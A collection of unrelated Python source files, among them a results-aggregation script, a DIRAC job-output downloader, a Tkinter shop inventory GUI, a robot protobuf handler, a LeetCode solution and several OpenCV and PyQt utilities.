        tbl = agg_table[selection].pivot_table(columns = rows_cols[0], index = rows_cols[1], values = d+'_'+a, fill_value = -1)
        print(tbl)
        header = ' '.join(list(map(lambda x: x[0] + '_' + str(x[1]), zip(exp_classes + ['',''], this_param))))

        write_to_file(tbl, header, fh)

    """
    for d, a, kl, arch in itertools.product(DATA_PREFIX[1:], AGG_METRIC, KLs, Archs):
        tbl = agg_table[agg_table["kl"]==kl & agg_table["arch"]==arch].pivot_table(
            columns='neg_re', index='rho', values=d+'_'+a, fill_value=-1)
        print(tbl)
        write_to_file(tbl, (d+'_'+a+'_'+kl+'_'+arch).upper(), fh)
    """

    logging.info("Written results to {}".format(
        os.path.join(args.dir, 'summary.csv')))


"""
Download the output data for the jobs in the repository file created during job submission

Options:

  -r repoLocation       Path to repository file

:since: Mar 24, 2010
:author: sposs
"""
from DIRAC.Core.Base import Script
from DIRAC import S_OK, exit as dexit

__RCSID__ = "$Id$"

class _Params(object):
  """ CLI params class
  """
  def __init__( self ):
    self.repo = ''
  def setRepo(self, val):
    self.repo = val
    return S_OK()

  def registerSwitches(self):
    Script.registerSwitch( "r:", "repo=", "repo file", self.setRepo )
    # Define a help message
    Script.setUsageMessage( '\n'.join( [ __doc__,
                                         'Usage:',
                                         '  %s [option|cfgfile] ' % Script.scriptName] ) )

def _getOutputData():
  cliParams = _Params()
  cliParams.registerSwitches()
  Script.parseCommandLine( ignoreErrors = False )
  if not cliParams.repo:
    Script.showHelp()
    dexit(2)
  from DIRAC.Interfaces.API.Dirac import Dirac

  dirac = Dirac(True, cliParams.repo)

  exitCode = 0
  dirac.monitorRepository(False)
  dirac.retrieveRepositoryData()

  dexit(exitCode)

if __name__=="__main__":
  _getOutputData()


import tkinter as tk
from tkinter import *
from produit import *
from tkinter import ttk
import matplotlib.pyplot as plt

class App:
    # création d'un objet App (menu principal)
    def __init__(self):
        #
        self.gui = Tk()
        self.gui.geometry("400x380")
        self.gui.title("Boutique")
        # variable d'instance de la classe Produit
        self.Quantite = Produit()
        # Txt
        Boutique_label = tk.Label(self.gui, text="Ma\nBoutique",foreground="blue", font=5)
        Boutique_label.pack(pady=50)
        # boutons
        check_btn = tk.Button(self.gui, text="Voir produits", borderwidth=10, command=self.displayProd)
        check_btn.pack(pady=5)
        #
        AddProd_btn = tk.Button(self.gui, text="Ajouter Produit", borderwidth=10, command=self.openAddProd)
        AddProd_btn.pack(pady=5)
        #
        ModProd_btn = tk.Button(self.gui, text="Modifier Produit", borderwidth=10, command=self.updateProd)
        ModProd_btn.pack(pady=5)
        #
        DelProd_btn = tk.Button(self.gui, text="Supprimer Produit", borderwidth=10, command=self.deleteProd)
        DelProd_btn.pack(pady=5)

        self.gui.mainloop()
        # fermeture du curseur une fois l'application fermée
        self.Quantite.cursor.close()
        print("curseur fermé")

    # méthode pour ouvrir et afficher le TopLvl contenant mes produits
    def displayProd(self):
        prod = tk.Toplevel(self.gui)
        prod.title("Mes Produits")
        prod.geometry("1250x600")

        col = ("ID", "Produit", "Desc", "Prix", "Quantite", "categorie")

        tree = ttk.Treeview(prod, columns=col, show="headings")

        tree.heading("ID", text="ID")
        tree.heading("Produit", text="Produit")
        tree.heading("Desc", text="Desc")
        tree.heading("Prix", text="Prix")
        tree.heading("Quantite", text="Quantite")
        tree.heading("categorie", text="categorie")

        items = self.Quantite.displayDATA()

        for item in items:
            tree.insert("", tk.END, values=item)

        tree.grid(row=0, column=0, sticky="nsew")

        scrollbar = ttk.Scrollbar(prod, orient=tk.VERTICAL, command=tree.yview)
        tree.configure(yscroll=scrollbar.set)
        scrollbar.grid(row=0, column=1)
        #
        Export_btn = tk.Button(prod, text="Export CSV", borderwidth=10, command=self.Quantite.exportCSV)
        Export_btn.grid(row=1, column=0, pady=5)
        #
        graph_btn = tk.Button(prod, text="voir Stock", borderwidth=10, command=self.graphQuantite)
        graph_btn.grid(row=1, column=0, pady=5, sticky="w")
        self.L = self.Quantite.displayCat()
        var = tk.Variable(value=self.L)

        self.QuantiteList = tk.Listbox(prod, listvariable=var, height=10, selectmode=tk.SINGLE)
        self.QuantiteList.grid(column=0, row=2, pady=20)
        #
        Export_btn = tk.Button(prod, text="Export CSV", borderwidth=10, command=lambda : self.Quantite.filtredCSV(self.getSelectedItem()))
        Export_btn.grid(row=3, column=0, pady=5)

        prod.mainloop()

    # méthode pour ouvrir et afficher ma fenêtre permettant l'ajout d'un nouveau produit
    def openAddProd(self):
        #
        self.addProd = tk.Toplevel(self.gui)
        #
        self.addProd.title("Ajouter produit")
        #
        self.addProd.geometry("500x300")
        #
        page_Label = tk.Label(self.addProd, text="Produit à ajouter:",foreground="black", font=5, pady=20)
        page_Label.grid(column=0, row=0)
        # Infos du produit à ajouter
        nomProd_Label = tk.Label(self.addProd, text="Nom:",foreground="black", font=5)
        nomProd_Label.grid(column=0, row=1)
        #
        self.nomProd_Entry = tk.Entry(self.addProd, width=30)
        self.nomProd_Entry.grid(column=1, row=1)
        #
        descrProd_Label = tk.Label(self.addProd, text="Description:",foreground="black", font=5)
        descrProd_Label.grid(column=0, row=2)
        #
        self.descProd_Entry = tk.Entry(self.addProd, width=30)
        self.descProd_Entry.grid(column=1, row=2)
        #
        prixProd_Label = tk.Label(self.addProd, text="Prix:",foreground="black", font=5)
        prixProd_Label.grid(column=0, row=3)
        #
        self.prixProd_Entry = tk.Entry(self.addProd, width=30)
        self.prixProd_Entry.grid(column=1, row=3)
        #
        QuantiteProd_Label = tk.Label(self.addProd, text="Quantite:",foreground="black", font=5)
        QuantiteProd_Label.grid(column=0, row=4)
        #
        self.QuantiteProd_Entry = tk.Entry(self.addProd, width=30)
        self.QuantiteProd_Entry.grid(column=1, row=4)
        #
        catProd_Label = tk.Label(self.addProd, text="id_Categorie:",foreground="black", font=5)
        catProd_Label.grid(column=0, row=5)
        #
        self.catProd_Entry = tk.Entry(self.addProd, width=30)
        self.catProd_Entry.grid(column=1, row=5)
        #
        Submit_btn = tk.Button(self.addProd, text="Ajouter", borderwidth=10, command=lambda : self.Quantite.addProd(self.getNom(), self.getDesc(), self.getPrix(), self.getQuantite(), self.getCat(), self.addProd))
        Submit_btn.grid(column=1, row=6, pady=20)

    # méthode pour ouvrir et afficher ma fenêtre permettant la modification d'un de mes produits
    def updateProd(self):
        #
        updProd = tk.Toplevel(self.gui)
        #
        updProd.title("Modifier produit")
        #
        updProd.geometry("500x500")
        #
        self.L = self.Quantite.displayProd()
        var = tk.Variable(value=self.L)

        self.QuantiteList = tk.Listbox(updProd, listvariable=var, height=10, selectmode=tk.SINGLE)
        self.QuantiteList.grid(column=1, row=0)
        page_Label = tk.Label(updProd, text="Produit à modifier:",foreground="black", font=5, pady=20)
        page_Label.grid(column=0, row=0)

        # Infos du produit à modifier
        nomProd_Label = tk.Label(updProd, text="Nom:",foreground="black", font=5)
        nomProd_Label.grid(column=0, row=1)
        #
        self.nomProd_Entry = tk.Entry(updProd, width=30)
        self.nomProd_Entry.grid(column=1, row=1)
        #
        Submit_btn = tk.Button(updProd, text="Modifier", borderwidth=10, command=lambda : self.Quantite.updateProdName(self.getSelectedItem(), self.getNom(), updProd))
        Submit_btn.grid(column=2, row=1, pady=5, padx=15)
        #
        descrProd_Label = tk.Label(updProd, text="Description:",foreground="black", font=5)
        descrProd_Label.grid(column=0, row=2)
        #
        self.descProd_Entry = tk.Entry(updProd, width=30)
        self.descProd_Entry.grid(column=1, row=2)

        #
        Submit_btn = tk.Button(updProd, text="Modifier", borderwidth=10, command=lambda : self.Quantite.updateProdDesc(self.getSelectedItem(), self.getDesc, updProd))
        Submit_btn.grid(column=2, row=2, pady=5)
        #
        prixProd_Label = tk.Label(updProd, text="Prix:",foreground="black", font=5)
        prixProd_Label.grid(column=0, row=3)
        #
        self.prixProd_Entry = tk.Entry(updProd, width=30)
        self.prixProd_Entry.grid(column=1, row=3)
        #
        Submit_btn = tk.Button(updProd, text="Modifier", borderwidth=10, command=lambda : self.Quantite.updateProdPrice(self.getSelectedItem(), self.getPrix(), updProd))
        Submit_btn.grid(column=2, row=3, pady=5)
        #
        QuantiteProd_Label = tk.Label(updProd, text="Quantite:",foreground="black", font=5)
        QuantiteProd_Label.grid(column=0, row=4)
        #
        self.QuantiteProd_Entry = tk.Entry(updProd, width=30)
        self.QuantiteProd_Entry.grid(column=1, row=4)
        #
        Submit_btn = tk.Button(updProd, text="Modifier", borderwidth=10, command=lambda : self.Quantite.updateProdStock(self.getSelectedItem(), self.getQuantite(), updProd))
        Submit_btn.grid(column=2, row=4, pady=5)
        #
        catProd_Label = tk.Label(updProd, text="id_Categorie:",foreground="black", font=5)
        catProd_Label.grid(column=0, row=5)
        #
        self.catProd_Entry = tk.Entry(updProd, width=30)
        self.catProd_Entry.grid(column=1, row=5)
        #
        Submit_btn = tk.Button(updProd, text="Modifier", borderwidth=10, command=lambda : self.Quantite.updateProdCat(self.getSelectedItem(), self.getCat(), updProd))
        Submit_btn.grid(column=2, row=5, pady=5)

    # méthode pour ouvrir et afficher ma fenêtre permettant la suppresion d'un de mes produits
    def deleteProd(self):
        #
        delProd = tk.Toplevel(self.gui)
        #
        delProd.title("Supprimer produit")
        #
        delProd.geometry("500x300")
        #
        self.L = self.Quantite.displayProd()
        var = tk.Variable(value=self.L)

        self.QuantiteList = tk.Listbox(delProd, listvariable=var, height=10, selectmode=tk.SINGLE)
        self.QuantiteList.grid(column=1, row=0)
        page_Label = tk.Label(delProd, text="Produits à supprimer:",foreground="black", font=5, pady=20)
        page_Label.grid(column=0, row=0)
        #
        Del_btn = tk.Button(delProd, text="Supprimer", borderwidth=10, command=lambda : self.Quantite.delProd(self.getSelectedItem(), delProd))
        Del_btn.grid(column=1, row=6, pady=20)

    ## mes getter
    def getSelectedItem(self):
        return self.QuantiteList.get(ANCHOR)
    #
    def getNom(self):
        return self.nomProd_Entry.get()
    #
    def getDesc(self):
        return self.descProd_Entry.get()
    #
    def getPrix(self):
        return self.prixProd_Entry.get()
    #
    def getQuantite(self):
        return self.QuantiteProd_Entry.get()
    #
    def getCat(self):
        return self.catProd_Entry.get()

    def graphQuantite(self):
        # variable contenant mes noms de produits sous forme de liste
        prod = self.Quantite.displayProd()
        # variable contenant mes quantites de produits sous forme de liste
        Quantite = self.Quantite.displayStock()

        # création de mon graph
        plt.pie(Quantite, labels=prod, autopct='%1.1f%%', startangle=90, shadow=True)
        plt.title("Quantite")
        plt.axis('equal')
        plt.show()

if __name__ == "__main__":
    app = App()


"""
Protobuf message handler module.
"""
from proto.gen.python.outech_pb2 import BusMessage
from highlevel.logger import LOGGER
from highlevel.robot.controller.match_action import MatchActionController
from highlevel.robot.controller.motion.localization import LocalizationController

class ProtobufHandler:
    """ Protobuf handler : take bytes and decode to BusMessage """
    def __init__(self, match_action_controller: MatchActionController,
                 localization_controller: LocalizationController):
        self.localization_controller = localization_controller
        self.match_action = match_action_controller

    async def translate_message(self, msg: bytes) -> None:
        """ Convert bytes to BusMessage. """
        bus_message = BusMessage()
        bus_message.ParseFromString(msg)
        LOGGER.get().debug('msg_can', msg=bus_message)
        await self.dispatch_message(bus_message)

    async def dispatch_message(self, bus_message: BusMessage) -> None:
        """ Detect type of a BusMessage and call a controller. """
        type_msg = bus_message.WhichOneof("message_content")
        if type_msg == "heartbeat":
            pass
        elif type_msg == "movementEnded":
            self.localization_controller.movement_done(
                bus_message.movementEnded.blocked)
        elif type_msg == "encoderPosition":
            self.localization_controller.update_odometry_position(
                bus_message.encoderPosition.left_tick,
                bus_message.encoderPosition.right_tick)
        elif type_msg == "laserSensor":
            await self.match_action.set_laser_distances()
        elif type_msg == "pressureSensor":
            await self.match_action.set_pressures()
        else:
            LOGGER.get().error("unhandled_protobuf_message",
                               message_type=type_msg)


"""Class that represents an annotation file,
as part of a dataset used to study
animal acoustic communication."""
from __future__ import annotations

import pathlib

import attrs

from .audio_file import AudioFile
from .spectrogram_file import SpectrogramFile

@attrs.define
class AnnotationFile:
    """Class that represents an annotation file,
    as part of a dataset used to study
    animal acoustic communication.

    Used by the :class:`vocalpy.Dataset` class.

    Attributes
    ----------
    path : pathlib.Path
        The path to the annotation file.
    annotates : vocalpy.dataset.AudioFile or vocalpy.dataset.SpectrogramFile
        The file that this annotation file annotates.
    """

    path: pathlib.Path = attrs.field()
    annotates: AudioFile | SpectrogramFile | list[AudioFile] | list[SpectrogramFile] | None = attrs.field()

    @annotates.validator
    def is_file_or_list_of_files(self, attribute, value):
        if not isinstance(value, (AudioFile, SpectrogramFile, list)):
            raise TypeError(
                f"AnnotationFile attribute `annotates` must be either an AudioFile, "
                f"a SpectrogramFile, or a list of AudioFile or SpectrogramFile instances. "
                f"Type of `annotates` was: {type(value)}"
            )

        if isinstance(value, list):
            if not (
                all([isinstance(el, AudioFile) for el in value])
                or all([isinstance(el, SpectrogramFile) for el in value])
            ):
                list_types = set([type(el) for el in value])
                raise TypeError(
                    "If AnnotationFile attribute `annotates` is a list, "
                    "then it must be a list of AudioFile instances, "
                    "or a list of SpectrogramFile instances. "
                    f"Received a list with the following types: {list_types}"
                )


'''
Author: lmio 2091319361@qq.com
Date: 2023-09-20 22:39:30
LastEditors: lmio 2091319361@qq.com
Description: 2616. 最小化数对的最大差值
'''

from typing import List

class Solution:
    def minimizeMax(self, nums: List[int], p: int) -> int:
        if p == 0:
            return 0
        nums.sort()
        n = len(nums)
        def check(d: int) ->bool:
            cnt = 0
            i = 1
            while i < n:
                if nums[i] - nums[i-1] <= d:
                    cnt += 1
                    if cnt >= p:
                        return True
                    i += 1
                i += 1
            return False
        left, right = 0, nums[-1]-nums[0]
        while left < right:
            mid = (left+right) >> 1
            if check(mid):
                right = mid
            else:
                left = mid+1
        return left


# Contour detection and moment finding
import cv2 as cv
import numpy as np
import matplotlib.pyplot as plt

img = cv.imread("/media/techio/Study Materials/Python Projects/shapes.png")
img = cv.resize(img,(400,300))
img_gray = cv.cvtColor(img,cv.COLOR_BGR2GRAY)

# Finding threshold
ret,thresh = cv.threshold(img_gray,200,255,cv.THRESH_BINARY_INV)

# Find contours
cnts,h = cv.findContours(thresh,cv.RETR_TREE,cv.CHAIN_APPROX_SIMPLE)
print("Number of contours = ",cnts,"\ntotal contours = ",len(cnts))
print("Heirarchy = \n",h)

# Draw contrours
# img = cv.drawContours(img,cnts,-1,(0,100,0),2)
# Finding moments and drawing contours
areas = []
for cnt in cnts:
    M = cv.moments(cnt)
    print("M==\n",M)

    c_x = int(M["m10"]/M["m00"])
    c_y = int(M["m01"]/M["m00"])

    # Finding area
    area = cv.contourArea(cnt)
    areas.append(area)

    # contour approx
    epsilon = 0.01*cv.arcLength(cnt,True) #arc lenght
    data = cv.approxPolyDP(cnt,epsilon,True)

    # Convex Hull - Total area bounded used to provide convexity
    hull = cv.convexHull(data)

    # Bounding rectangel
    x,y,w,h = cv.boundingRect(hull)
    img = cv.rectangle(img,(x,y),(x+w,y+h),(125,10,10),3)

    cv.drawContours(img,cnts,-1,(0,100,0),2)
    cv.circle(img,(c_x,c_y),7,(255,255,255),-1)
    cv.putText(img,"center",(c_x-20,c_y-20),cv.FONT_HERSHEY_SIMPLEX,0.5,(255,255,255),2)

# Output
titles = ["Original Image","Grayed Image","Threshold"]
images = [img,img_gray,thresh]

for i in range(3):
    plt.subplot(2,3,i+1),plt.imshow(images[i],'gray')
    plt.title(titles[i])
    plt.xticks([]),plt.yticks([])

plt.show()

cv.waitKey(0)
cv.destroyAllWindows()


from PyQt5.QtWidgets import QTreeView
from PyQt5.QtGui import QStandardItemModel, QStandardItem

class TreeView(QTreeView):
    def __init__(self):
        super().__init__()

        self.__model = QStandardItemModel()
        self.__model.setHorizontalHeaderLabels(["Name"])

        imgForensics = QStandardItem("Image Forensics")
        imgForensics.setEditable(False)
        normal = QStandardItem("Normal")
        normal.setEditable(False)
        copyMove = QStandardItem("Copy Move")
        copyMove.setEditable(False)
        splicing = QStandardItem("Splicing")
        splicing.setEditable(False)
        deepFake = QStandardItem("Deep Fake")
        deepFake.setEditable(False)
        vidForensics = QStandardItem("Video Forensics")
        vidForensics.setEditable(False)
        insertion = QStandardItem("Insertion Forgery")
        insertion.setEditable(False)
        deletion = QStandardItem("Deletion Forgery")
        deletion.setEditable(False)

        self.__model.appendRow(imgForensics)
        self.__model.appendRow(vidForensics)

        imgForensics.appendRow(copyMove)
        imgForensics.appendRow(splicing)
        vidForensics.appendRow(insertion)
        vidForensics.appendRow(deletion)

        self.setModel(self.__model)

    def getModel(self):
        return self.__model


from os import name
import os
import cv2
import sys
import numpy as np
from cv2 import pointPolygonTest

def readRegionTXT(path='Utils/region.txt'):
    region_points = []
    for line in open(path):
        str_list = line.split(" ")
        point = [int(str_list[0]), int(str_list[1])]
        region_points.append(point)
    return region_points

def readRegion(path='Utils/region.txt'):
    region_points = []
    for line in open(path):
        str_list = line.split(" ")
        point = [int(str_list[0]), int(str_list[1])]
        region_points.append(point)
    return region_points

def getRegionCamera(count, camera=0, regionpath='Utils/region.txt'):
    region = []
    fw = open(regionpath, 'w+')    # 将要输出保存的文件地址
    # if os.path.exists(regionpath):
    #     fw = open(regionpath, 'w+')    # 将要输出保存的文件地址
    # else:
    #     os.makedirs(regionpath)
    #     fw = open(regionpath, 'w+')

    def on_EVENT_LBUTTONDOWN(event, x, y, flags, param):
        # if event == cv2.EVENT_RBUTTONDOWN:
        #     finish = True
        if event == cv2.EVENT_LBUTTONDOWN:
            xy = "%d,%d" % (x, y)
            cv2.circle(frame, (x, y), 1, (0, 0, 255), thickness=-1)
            cv2.putText(frame, xy, (x, y), cv2.FONT_HERSHEY_PLAIN,
                        1.0, (0, 0, 0), thickness=1)
            cv2.imshow("image", frame)
            fw.write(f"{x} {y}\n")
            # for line in open(regionpath, "w+"):    # 读取的文件
            #     fw.write(f"[{x},{y}]")    # 将字符串写入文件中
            #     # line.rstrip("\n")为去除行尾换行符
            #     fw.write("\n")    # 换行
            region.append([x,y])
            print(x,y)

    cv2.namedWindow("image")
    cv2.setMouseCallback("image", on_EVENT_LBUTTONDOWN)
    cap = cv2.VideoCapture(camera)
    while(cap.isOpened()):
        res, frame = cap.read(0)
        cv2.imshow("image", frame)
        if cv2.waitKey(1) & 0xFF == ord('q'):
            break
        if len(region)==count:
            drawregion(frame, region=region)
            fw.close()
            break
            # return region

    return region

def getRegionFrame(count, frame=None, regionpath='Utils/region.txt'):
    region = []
    fw = open(regionpath, 'w+')    # 将要输出保存的文件地址
    def on_EVENT_LBUTTONDOWN(event, x, y, flags, param):
        if event == cv2.EVENT_LBUTTONDOWN:
            xy = "%d,%d" % (x, y)
            cv2.circle(frame, (x, y), 1, (0, 0, 255), thickness=-1)
            cv2.putText(frame, xy, (x, y), cv2.FONT_HERSHEY_PLAIN,
                        1.0, (0, 0, 0), thickness=1)
            cv2.imshow("frame", frame)
            fw.write(f"{x} {y}\n")
            region.append([x,y])
            print(x,y)

    cv2.namedWindow("frame")
    cv2.setMouseCallback("frame", on_EVENT_LBUTTONDOWN)
    while(True):
        cv2.imshow("frame", frame)
        if cv2.waitKey(1) & 0xFF == ord('q'):
            break
        if len(region)==count:
            drawregion(frame, region=region)
            fw.close()
            break
    cv2.destroyWindow("frame")
    return region

def drawregion(image, region=[[10,10],[480,10],[480,480],[10,480]], danger=False):
    point_color = (255, 0, 0) if danger else (0, 255, 0)
    count = len(region)
    thickness = 2
    lineType = 4
    for i in range(count-1):
        cv2.line(image, (int(region[i][0]),int(region[i][1])), (int(region[i+1][0]),int(region[i+1][1])), point_color, thickness, lineType)
    if count > 1:
        cv2.line(image, (int(region[count-1][0]),int(region[count-1][1])), (int(region[0][0]),int(region[0][1])), point_color, thickness, lineType)
    return image
    # cv2.namedWindow("image")
    # while True:
    #     cv2.imshow('image', image)
    #     if cv2.waitKey(1) & 0xFF==ord('q'):
    #         break
    # # cv2.waitKey (10000) # 显示 10000 ms 即 10s 后消失
    # cv2.destroyAllWindows()

def judgeInArea(region=[[10,10],[480,10],[480,480],[10,480]], det=None):
    rect = np.array(region, dtype=np.int32)
    danger_person = []
    num = len(det)
    for i in range(num):
        dist = cv2.pointPolygonTest(rect,((det[i][0] + det[i][2])/2,det[i][3]),0)
        # print(dist)
        if dist>=0:
            danger_person.append(i)
            # return True
    # print(danger_person)
    return danger_person

def judgeInAreaOnePerson(region=[[10,10],[480,10],[480,480],[10,480]], det=None):
    rect = np.array(region, dtype=np.int32)
    dist = cv2.pointPolygonTest(rect, (int((det[0] + det[2])/2),int(det[3])), 0)
    return dist >= 0

if __name__ == "__main__":
    # image = '000002.jpg'
    count = 4
    # region = positionget(conut, image)
    region = getRegionCamera(count, 0)
    # drawregion(image, region)
    # judgeInArea(region, [[100,100, 20200]])